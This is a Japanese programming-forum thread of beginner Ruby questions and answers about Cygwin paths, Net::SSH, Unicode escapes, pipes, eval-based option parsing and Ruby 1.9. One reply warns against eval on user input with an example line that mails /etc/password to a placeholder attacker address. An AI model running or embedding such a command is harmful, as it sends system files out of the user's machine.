1 名前:デフォルトの名無しさん [2008/01/16(水) 17:41:27 ] プログラミング言語Rubyについての、初心者向けスレです。質問・要望・雑談などどうぞ。 関連スレやURLは>>2-7 あたりを見てください。Ruby on Railsの質問はWebProg板のRailsスレで。 ■質問する人へ 質問する前に次の3つをすること。ここで回答を待つよりそのほうが早い。 ・ぐぐる ・マニュアルで探す www.ruby-lang.org/ja/man/ ・FAQを読む www.ruby-lang.org/ja/man/?cmd=view;name=Ruby+FAQ 質問には以下を書くこと。へたくそな質問は再提出を要求される。 ・詳しい内容(「動きません」「うまくできません」では回答しようがない) ・エラーメッセージ(なるべくそのままで) ・実行環境(OS名、Rubyのバージョン(ruby -v でわかる)) ・最終的にやりたいこと(もっとよい方法がある場合が多いので) 回答してくれた人には「ありがとう」のひとことをいってあげて。 ■回答する人へ 相手は初心者、根気よく育てるつもりで。質問がへたくそなのも大目にみてあげる。 それができないならこないこと(だって初心者スレだもん)。 ・既出な質問やFAQは「XXXを読め」でいいので、叩かない&怖がらせない。 ・わけわかな質問にもエスパー発揮で。できれば質問の仕方を教えるぐらいで。 ・自信がない回答ならその旨表明すること。誤った回答は初心者じゃ見抜けない。
231 名前:230 mailto:sage [2008/01/25(金) 09:14:26 ] DLkeyはrubycsvです。
232 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:15:08 ] >>221 0が真になるのは良いとして falseも真という意味ですよね nilだけが偽と
233 名前:230 mailto:sage [2008/01/25(金) 09:27:04 ] ソースに誤植がありました × check( i , GetElementString( i , "通常" , n ) ); ○ check( i , GetElementString( i , "通常ポーズ" , n ) );
234 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:35:34 ] …。全角空白混じってるしトップレベルのmainを実行してる場所がないぞ。 で、41行目の > if( elem_name.to_s == @definition_names[i].to_s ) で、同じデータのはずなのにfalseが返ることがあるという質問でいい?
235 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:37:50 ] >>234 すみません全角混じっていましたか。 質問は全くその通りです。
236 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:54:58 ] ifにelseを追加してみる。つまりfalseのときにelem_nameと@definition_names[i]を表示させてみる else print "[ #{elem_name} <=> #{@definition_names[i]}] " 結果を整形してみる [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] ということで同じ文字はないよ。csvデータはUTF-8なんだけどスクリプト本体のほうはUTF-8なの? アップロードのときにミスったんだと思ってたけど、もしこのままならスクリプトはShiftJISになってるよ
237 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 10:38:17 ] >>236 お手数おかけしました。 ということは、コードの問題ではなくて、環境固有の問題なのでしょうか。 実は実行環境はRPGツクールVXなのです。 こちらの環境ではelseで付け加えて値を見ると、同じ文字の組み合わせがありました。 ツクール内部で呼び出しているので、通常の環境とは異なっているのかもしれませんね。
238 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:33:45 ] すみませんが、Cygwin上でRubyをお使いの方に質問です。 ディレクトリからファイル名のリストを取得し、WIN32OLE 経由で MS-Word の COMコンポーネントに一つずつ渡そうとしています。 Wordに与えるファイル名は絶対パスである必要があるようなので、個々のファ イル名にFile.expand_path を適用してから渡しています。 ところが、File.expand_path の戻り値が /cygdrive/c/... や、/home/ユーザ 名 になってしまうのです。もちろん Word が必要としているのは C:\ で始ま るパスなので、Wordがファイルを開くことができません。 File.expand_path(ファイル名).gsub(%r!^/cygdrive/c/!, "C:/").gsub(%r!/home/!, "/C:/cygwin") とやれば何とかなりますが、どうも不恰好です。もっと良い方法はないでしょ うか?
239 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:43:09 ] cygpath -d /cygdrive/c
240 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:44:27 ] $ cygpath -w '/cygdrive/c/program files' c:\program files $ cygpath -d '/cygdrive/c/program files' c:\PROGRA~1
241 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:50:17 ] >>238 まあcygwinのシステムに乗っかってる以上根本的にはどうしようもない WindowsアプリケーションとしてのRuby使え C:\Documents and Settings\俺\デスクトップ\新しいフォルダ>ruby -e 'puts File.expand_path("csvloader.txt")' C:/Documents and Settings/俺/デスクトップ/新しいフォルダ/csvloader.txt
242 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:54:58 ] >>232 >0が真になるのは良いとして >falseも真という意味ですよね >nilだけが偽と うんにゃ。nilとfalseが偽と見なされる。 成功したときは数値を返し、失敗したときはnilを返す。falseは返さない。 これでいいじゃん?
243 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:57:12 ] 正規表現目当てでRubyに挑戦中 str1=str2 でなく str1=str2.dup と書かなきゃコピーにならんとこは わたしのような初心者にはドエライ罠だったんですけど・・・
244 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 13:09:18 ] >>243 「明示的な複製」が自力で必要な場面は意外と少ないんだ データを返す組み込みクラスのメソッドの多くは結果を複製して返す 知らないとどこかで絶対に一度は嵌るが、知ってしまうと意外とそうでもない >>242 falseは(Rubyには型としては無いけど)booleanで使うといいよね nilはそれ以外の「空」とか「無し」とか 「失敗」をfalseにするかnilにするかは若干迷うけど、「成功」がtrueという値になると思えるならfalseだな if文ではfalseもnilもelseに行くから深く考えなくてもいいし
245 名前:238 mailto:sage [2008/01/25(金) 13:13:23 ] 皆さん、ありがとうございます。 >>239->>240 wdoc = wordOLEObject.Documents.open `cygpath -w #{File.expand_path 'Readme'}` こんな感じでしょうか? これだと、今度は逆にCygwin以外のWindows環境では動きません。環境の判別法 ははないものでしょうか? 欲を言えば、分岐なしでどちらの環境でも動くならありがたいのですが。 >>241 Cygwin版のRubyと共存させるわけですか...。それも一つの手だなあ。 ActiveScriptRuby 使いたいし。 ただ、環境が安定するかどうかが不安です。
246 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:03:12 ] >>245 環境の判別はRUBY_PLATFORMで。 分岐なしで動くようにするのは無理。 強いて言えば238で自分で書いてるのが分岐なしで動くようにする方法になるのかもしれんが。
247 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:05:07 ] > 分岐なしで どこをどう作っても内部的には分岐使ってる 気にすんな
248 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:16:30 ] 最初は抵抗あるけど、サブルーチンだと割り切ってメソッドに切り分ければ あ〜ら不思議あら不思議
249 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:19:51 ] あえてCygwin版を使うメリットって何? Cygwin環境で閉じた使い方をする分にはパス周りのトラブルが少ないのから?
250 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:22:48 ] 昔は全部Cygwinでないとどうにもならなかったんだよ 5年くらい前の話
251 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 15:09:02 ] >>250 つまり、今はそうでもないってこと?
252 名前:238 mailto:sage [2008/01/25(金) 15:09:49 ] みなさん、再度ありがとうございます。 結局、通常のWindows版のRubyを入れて、絶対パスで呼び出すようにしました。 "/cygdrive/c/program Files/ruby-1.8/bin/ruby.exe" ... これで問題なく、Cygwinからでも呼び出せました。 ただ厳密には、CygwinのコンソールでEmacs22を起動し、その中のeshellでで す。Emacsの通常のshellモードでは、表示が少しおかしいようです。 >>246 > 分岐なしで動くようにするのは無理。 そうですか...。それは仕方ありませんね。 >>249 > あえてCygwin版を使うメリットって何? 単純に、Cygwin環境でデフォルトで呼び出されるのがそれだからです。 またPythonが、通常のWindows版はCygwin環境と相性が良くなかったのです。 (対話コンソールをCygwin環境で呼び出すと、画面に何も出ない) だからRubyもWindows版を使うのは避けていました。 ちなみにこのやり取りも Cygwin Emacs22のNavi2chでやっております。 Linux機もあるのですが、Cygwinにはいろいろ便利なことがあるので。
253 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 17:01:18 ] ソースさらすなら、バグが発生する最小限のソースをうpしようよ・・・
254 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 18:35:50 ] >>253 一部をアップした結果「その部分だけでは分からない」と言われたんだろ? そういうときはファイルそのものをアップしてもらった方が手っ取り早い 特に初心者には、どこがどこに影響を及ぼしてるのか、簡単には分からないんだから
255 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 21:41:18 ] >>252 こーゆーので我慢する、もしくは(cygwin|windows)を捨てる def cygpath(opt,path) ; return `cygpath #{opt} #{File.expand_path(path)}` ; end def winpath(path) path = File.expand_path(path) if RUBY_PLATFORM =~ /cygwin/ # ? cygwin 環境と一致する奴 # return `cygpath -w #{path}` return path.sub(%r!^/cygdrive/(.)/!, '\1:/').sub(%r!^/home/!, 'c:/cygwin/') end return path end
256 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:14:26 ] arr.each{|i| puts i i-=2 if gets == "prev" # 逆方向に進ませたい! } みたいな事やろうと思ったらwhileと自前の変数でやるしかないんですかね。
257 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:18:40 ] >>256 残念ながら、自前で書かないと出来ないですね。 # 外部イテレータが欲しい。
258 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:27:29 ] continue -2 とかできたらいいのに。
259 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:27:50 ] ああ、Ruby だと next だ。
260 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 12:38:23 ] >>145 遅レスだが、なんでrubydb使ってないの? エラー行へのジャンプも普通にあるよ? んでもって、refe.elとか使えばEmacs上でヘルプも見れる もし、*nix環境ならfastRI入れてri-ruby.el入れるといいんじゃない? ↑はSoftware Design2月号のEmacs特集の受け売りで 俺はWin環境でMeadowだから使ってないけど
261 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 12:42:42 ] >>252 WSHのFileSystemObjectを使うのが常套手段 jp.rubyist.net/magazine/?0004-Win32OLE
262 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 13:28:37 ] Emacsの有名どころではruby-electric.elがあるがこれがまた動作が微妙 導入時は喜ばれるが1週間くらいして無言で外されることで有名
263 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 14:52:22 ] 中括弧とdo〜endぐらいならいいんじゃない? それぐらいなら手で打てってことかもしれんが Meadowでxmpfilter使っている人います? cmdproxy.exeで試したんだけど、スクリプト評価後にプロンプトや ロゴ表示が残ってしまってションボリな感じ
264 名前:デフォルトの名無しさん [2008/01/26(土) 18:57:37 ] Net::SSH.startで:password => 'mypassword'としパスフレーズを指定してるのですが 実行時に"Enter password for /home/localuser/.ssh/id_rsa:"とでて入力を要求されます #!/usr/bin/env ruby require 'rubygems' require 'net/ssh' Net::SSH.start( '192.168.11.3', :username => 'remoteuser', :password => 'mypassword' ) do | session | session.process.popen3('echo "Hello"') do |i, o, e| STDOUT << o.read << "\n" end end 実行時にパスフレーズを要求されないようにするにはどうのようにすればよいですか?
265 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 20:12:24 ] passphraseではなくpasswordなので、これはパスワード認証 のためのログインパスワードであって、秘密鍵ファイルを読むための パスフレーズではないのでは? でもって、 Public/private keys are always tried before the explicit password authentication, even if you provide a password. (net-ssh.rubyforge.org/chapter-2.html ) なので、公開鍵認証が行われている、と。 パスフレーズのほうは、空にするか、ssh-agentとかにお任せすることになるのではないでしょうか。
266 名前:264 mailto:sage [2008/01/26(土) 21:59:13 ] >>265 ありがとうございます ssh-agent初めて知りました
267 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:27:33 ] unicodeを表すのに、Javaとかでよく使われている ¥uXXXX という表現方法がありますが これをRubyでデコードするにはどうしたらいいですか。 つまり '¥uXXXX' からunicode文字を得たいです。
268 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:34:21 ] str.gsub(/¥¥u((?:[¥da-f]{2}){1,6})/) { [ $1.hex ].pack('U') }
269 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:38:37 ] >>267 >>268 でいいと思うけど、後ならnkfを使うかな
270 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:42:46 ] >>268 仕組みがさっぱりわからないので、参考になるページがあれば教えてください。
271 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:57:30 ] 普通に定義そのまんまだな Unicodeの解説とか読めばいいんじゃね
272 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:00:34 ] >>270 Rubyコード的には、 ¥uXXXXのXXXX部分(文字列)を16進数に変換してpack('U')でUnicode文字にしてる。
273 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:10:01 ] 正規表現が極力正確なマッチになるように書かれてるから難しく見えるんだと思う
274 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:15:14 ] ぶっちゃけ /¥¥u([0-9a-f]+)/ あたりのほうがみやすくて実用的かもな。
275 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:19:22 ] >>272 逐語的に訳すとこんな感じ? "\u"より後に続く数字またはa, b, c, d, e, fの2文字の組を 1個から6個ずつまとめてから16進数に変換する Rubyリファレンスマニュアルの正規表現のページと見比べてみりゃ なんとなくわかるんじゃない?
276 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:29:49 ] UTF-8の変換式は6オクテットまで規定されてるけど、 Unicode文字がそこまで定義されてないから実質的には 4オクテットまで考慮すればいいみたいね。
277 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:32:20 ] この安易な判断が20年後大問題を引き起こすとは 神ならぬ>>276 には思い至ることすらできなかったのであった
278 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 00:09:27 ] もしそうなっても、その前にUTF16連中がさらに大問題をひきおこすから大丈夫。
279 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 00:50:46 ] >>267 小飼が自分で作ったツールを自慢するためにBlogでRuby用のサンプルを書いてたきがする。
280 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 10:53:26 ] 検索用の文字列をユーザーに入力させたいんですが 1. りんご なら単純な部分一致 2. *.jpg ならワイルドカード 3. /\d+/ なら正規表現 としたいんですが一番下は1.の/home/のようなパス指定と区別がつきません。 正規表現を表す文字列で他に一般的な表記はないんでしょうか?
281 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 11:20:41 ] 俺なら、 '\' によるエスケープを仕様に導入して、パス指定は \/home\/ と書かせる。
282 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:04:12 ] /hoge#{`mail badguy@example.com < /etc/password`}huga/ なんてのをそのままevalしないようにね。
283 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:10:01 ] >>262 ruby-electric.el はどこがダメ?
284 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:21:31 ] >>280 「正規表現で入力する」という専用入力プロンプトあるいはオプションスイッチを作る ユーザーが一番欲しい、一番頻繁に使うと推測される機能は1と2だろ 3は見つからないあるいは見つけにくいときに使う機能であるべき
285 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:42:06 ] 俺も284に一票 guiならチェックボックスとか >>283 デフォルトだとクォーテーションや"|"も閉じちゃうので 正規表現を書くときにウザいからじゃね?
286 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:08:19 ] >>280 エスケープ文字があるときに 正規表現オブジェクトを作るのはどう? もちろん最初と最後の"/"は取り除いて if inputString.include?('\\') && inputString =~ /^\/.*\/$/ re = Regexp.new(inputString[1..-2]) Dir.glob("*").{|fileName| print fileName if fileName =~ re} else Dir.glob(inputString).{|fileName| print fileName} end
287 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:15:41 ] >>286 エスケープ文字のない正規表現書けなくない?
288 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:29:16 ] >>286 はこれを導入したことで大量な例外の処理を書かなければならなくなると思う
289 名前:286 mailto:sage [2008/01/27(日) 14:46:08 ] 自分でちょっと使ってみたけど、スゲー使いにくいw 文字列先頭の'/'、文字列最後の'/'、文字列中の'\'と暗黙なスイッチを 無駄に3つ追加してて、直感的に使えず全然ダメですわ やっぱ、素直に284の言うとおりにした方がよいと思う
290 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:41:23 ] フィルタ系のコマンド(sortとか)に Rubyで生成したテキストを流し込み フィルタが処理した結果を受け取りたいでし。 どう書けば良いのでしょうか? 一旦ファイルに出力して、`sort` とかで受け取るしかないですか?
291 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:53:17 ] open('| sort', 'w'){|io| io.write("d\nc\na\nb\n") } 一度きっちりIPCとかパイプとか標準入出力とかフィルタとか調べとくと吉 その点Rubyアプリケーションプログラミングとかいいと思うんだが まるで話題にならないのは中身が硬派すぎるからなんだろうか
292 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:58:38 ] >290 読み書き両方ならIO.popenかな。
293 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:18:09 ] >>291 あの本は読んでると眠くなる 100パーセント日本語の本なのに眠くなる理由は正直よくわからん
294 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:26:59 ] >291-292 ありがとうございました。 >291 ではフィルタの結果を出力することは出来ましたが 結果が受け取れませんでした。 そこで >292 に紹介された IO.popen を リファレンスマニュアルの例文を元に使ってみたのですが 反応が返ってこなくなってしまい、^C しました。 コマンドプロンプトや、バッチファイル上での パイプの使い方は知っていたのですが… >291 さんの言う通り、もう少しパイプについて調べてみます…。
295 名前:291 mailto:sage [2008/01/27(日) 20:36:19 ] ああ、見当違いなレスしてた。ごめん フィルタの中身にもよるけどこれでいけると思う open("| sort", "w+"){|io| io.write("c\nb\na") io.close_write() res = io.read() }
296 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:51:10 ] >295 ありがとうございました! close_write() がポイントっぽいですね。
297 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 22:57:47 ] >>296 sort は入力を全部受け付けてからでないと処理できないっしょ close_write で入力は終わったって知らせてやらなきゃ。
298 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:12:15 ] Array#sortじゃダメな理由は何?
299 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:14:21 ] sortは例で、実際は別のプログラムなんじゃねーの。
300 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:17:25 ] > フィルタ系のコマンド(sortとか) に対して「Array#sort使え」というのはかなりマト外してるな まあ、よっぽど特殊なコマンドでない限り、テキストいじりならRuby内部でなんとかなるのも事実ではあるが…
301 名前:デフォルトの名無しさん [2008/01/28(月) 02:13:27 ] #!/usr/bin/env ruby def main() eval(ARGV.join(";")) STDOUT << hoge << "\n" end if __FILE__ == $0 main end みたいなshowhoge.rbを作ってshowhoge.rb "hoge=\"Hello\""を実行したのですが Helloと表示されません。 引数をevalしてオプションを解析する手間を省きたいのですが失敗していますorz
302 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 02:31:27 ] ~$ cat syukudai.rb require 'shellwords' def main() pairs = Shellwords.shellwords(ARGV.join(' ')) pairs.each do |pair| (k,v) = pair.split(/=/) puts "#{k}は#{v}です" end end if __FILE__ == $0 main end ~$ ruby syukudai.rb hoge="Hello" huga='World' hage=\! hogeはHelloです hugaはWorldです hageは!です ただしこれだと"や'を変数に入れることができない
303 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 02:55:17 ] STDOUT << hoge << "\n" C++出身?
304 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 03:03:32 ] evalの前に hoge = nil もしくは@hogeに
305 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 03:16:11 ] >>301 宿題は宿題スレへ Rubyの宿題教えてください。2限目 pc11.2ch.net/test/read.cgi/tech/1200175247/
306 名前:デフォルトの名無しさん [2008/01/28(月) 04:02:28 ] 素直にoptparse使ったほうがいいのでは…
307 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 04:44:13 ] >>301 エラーになる理由は↓参照 リファレンスマニュアル>Ruby 言語仕様>実行>変数と定数>ローカル変数 要するに定義されてない変数(メソッド)を使おうとしてエラーになってる だから eval('STDOUT << hoge << "\n"') なら実行出来る オプション解析なら >>306 の言う通り optparse 使うべき eval にこだわるなら >>304 の様にあらかじめ変数を定義しておく
308 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 05:18:32 ] >>301 とりあえず、 def main() hoge ="" eval(ARGV.join(';')) STDOUT << hoge << "\n" end if __FILE__ == $0 main end と foo.rb "hoge='Hello'" で Hello は表示されるが。 def main() eval(ARGV.join(';') + ";" + %Q(STDOUT << hoge << "\n")) end if __FILE__ == $0 main end これもいけた。
309 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 08:37:42 ] optparseがめんどくさくて死ぬという話なのでは…
310 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 08:46:36 ] Rakeで、実行するコマンドを表示させることはできますか。 例えば rm_f 'filename' とあれば、実行時にどのファイルを削除しようとしているかが表示されてほしいです。
311 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 09:47:45 ] -v
312 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 11:07:09 ] >>311 -vつけても表示されませんけど?
313 名前:デフォルトの名無しさん [2008/01/28(月) 17:42:26 ] myhash = {} myhash[:aaa] = "aaa" #これと myhash["aaa"] = "aaa" #これがどう違うのか分かりません><
314 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 18:14:06 ] >>313 キーが違う。
315 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 19:13:53 ] RubyのHashのキーは文字列(Stringオブジェクト)でなくても構わない。 irb> h = Hash.new irb> arr = ['レ','イ','ク'] irb> h[arr] = '配列だよ' irb> puts h[arr] 配列だよ 前者はたまたま文字列ではないシンボルを使ってるだけの話 シンボルで設定されてるハッシュならシンボルでアクセスしないと動作しないけどな
316 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:28:19 ] >>310 rm_f 'hoge', :verbose => true 全般にわたって制御する方法はねーのかな。 >>313 混乱させてしまうが、ActiveSupportというRailsの一部でもあるライブラリを 導入すると、HashWithIndifferentAccessというクラスが定義される。 myhash = {}.with_indifferent_access のようにして作成すると、 myhash[:aaa] と myhash['aaa'] が同じモノを参照するようになる。 (実際には文字列側に正規化されている)
317 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:37:26 ] Rake内部のファイル操作がFileUtilsだけを使ってるなら、 どっかでmodule FileUtils::DryRunとかすればいいんだがどうだろね
318 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:46:19 ] すみません、Mac OS X上のEmacsのruby-modeを使っているのですが、 日本語を含むソースコードを保存しようとすると 「Symbol's function definition is void: coding-system-to-mime-charset」 と言われて保存できません。どなたか解決策ご存知の方いらっしゃいませんか。
319 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:51:15 ] >>317 DryRunって:noop=>trueだよな。 常時ONにしたら何も実行しなくなるんじゃない?
320 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:03:44 ] >>319 そりゃ、表示だけして実行はしないよ そういうオプションだもの 表示後に実行もして欲しいかどうかはわからんのでその辺は適当に どうせ教えてもらったのを文字通り組み込むわけじゃないだろ 該当するマニュアルとか見てから組み込むわけだし
321 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:07:25 ] >>318 > Symbol's function definition is void: coding-system-to-mime-charset なんでこれが読めないの? Ctrl x RET f して候補を入力しろよ
322 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:18:58 ] とあるxmlがあります。具体的に言うとAmazonのECSの蔵書検索のやつ。 で、<Author>著者名</Author>とか<Publisher>出版社</Publisher>とか<Title>書名</Title>とかを20種類くらい得たいです。 しかし、xmlの構造が一定ではなくて、「<Publisher>が無い」というような抜けが稀にあります。 なので、固定の巨大な正規表現でがばっと抜き出すということができません。 #パターン1 h['Author'] = xml.scan(/<Author>(.+?)<\/Author>/).flatten h['Publisher'] = xml.scan(/<Publisher>(.+?)<\/Publisher>/).flatten h['Title'] = xml.scan(/<Title>(.+?)<\/Title/).flatten #パターン2 RE = # 下の結果をあらかじめ直にコピペしたもの # Regexp.union(/<(Author)>(.+?)<\/Author>/,/<(Publisher)>(.+?)<\/Publisher>/,/<(Title)>(.+?)<\/Title/) xml.scan(RE).each do |a| a.compact! h[a[0]] = a[1] end どっちがメモリとかCUP時間とかの負荷少なくて済みそうですか? ちなみにrexmlとかごっついパーサは3秒くらい止まるので候補になりませんでした
323 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:25:43 ] xmlは10KB前後です これまではパターン1でxmlを何度もscanしてきたんですが、 「10KBの文字列に何度もアクセスする」という現状にだんだん不安になってきて 「選択入りの長い正規表現で一度だけアクセスしたほうがリソース的にまだマシなんじゃ?」とか思った次第です。
324 名前:デフォルトの名無しさん [2008/01/28(月) 22:26:03 ] ruby 1.9をインスコしたのですが,mechanizeでこけます。 対策教えて下さい。 ruby 1.9はMacOS 10.3 PPC G3です。 $ ./configure --prefix=/opt/local --program-suffix=19 checking build system type... powerpc-apple-darwin7.9.0 checking host system type... powerpc-apple-darwin7.9.0 checking target system type... powerpc-apple-darwin7.9.0 checking for gcc... gcc $ sudo gem19 install mechanize Password: Building native extensions. This could take a while... ERROR: Error installing mechanize: ERROR: Failed to build gem native extension. /opt/local/bin/ruby19 extconf.rb install mechanize checking for main() in -lc... yes creating Makefile make gcc -I. -I/opt/local/include/ruby-1.9.0/powerpc-darwin7.9.0 -I/opt/local/include/ruby-1.9.0 -I. -fno-common -g -O2 -pipe -fno-common -o hpricot_scan.o -c hpricot_scan.c ext/hpricot_scan/hpricot_scan.rl: In function `hpricot_scan': ext/hpricot_scan/hpricot_scan.rl:172: error: structure has no member named `ptr' ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `ptr' ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `len' ext/hpricot_scan/hpricot_scan.rl:186: error: structure has no member named `len' ext/hpricot_scan/hpricot_scan.rl:202: error: structure has no member named `ptr' make: *** [hpricot_scan.o] Error 1 Gem files will remain installed in /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6 for inspection. Results logged to /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6/ext/hpricot_scan/gem_make.out
325 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:27:53 ] >>324 > ruby 1.9をインスコした お前にはまだ早い 即刻アンインストールして1.8.6にしろ
326 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:40:01 ] >>324 どこを直していいのかわからないような初心者が1.9使っちゃダメ 「おい、1.9でhogehogeが動かないから直してやったぜ。これがパッチな」 というのが正しい使いかた。
327 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:46:33 ] 1.9使用者=デバッガか・・・ますます移行する気がおきんな
328 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:47:18 ] だから、移行するようなモノじゃないって。
329 名前:318 mailto:sage [2008/01/28(月) 22:49:27 ] >>321 それは試したのですが結果は変わりませんでした。
330 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:49:38 ] >>327 お前の周りでは「やっとβ版が出たのでシステムをこれに移行しました」とかいうことがあるのか? しないだろ? 試しに遊んでみて納得する程度だろ?
331 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:51:55 ] 次スレたてるときは、「初心者は1.9.0使うな」って書かないとあかんね。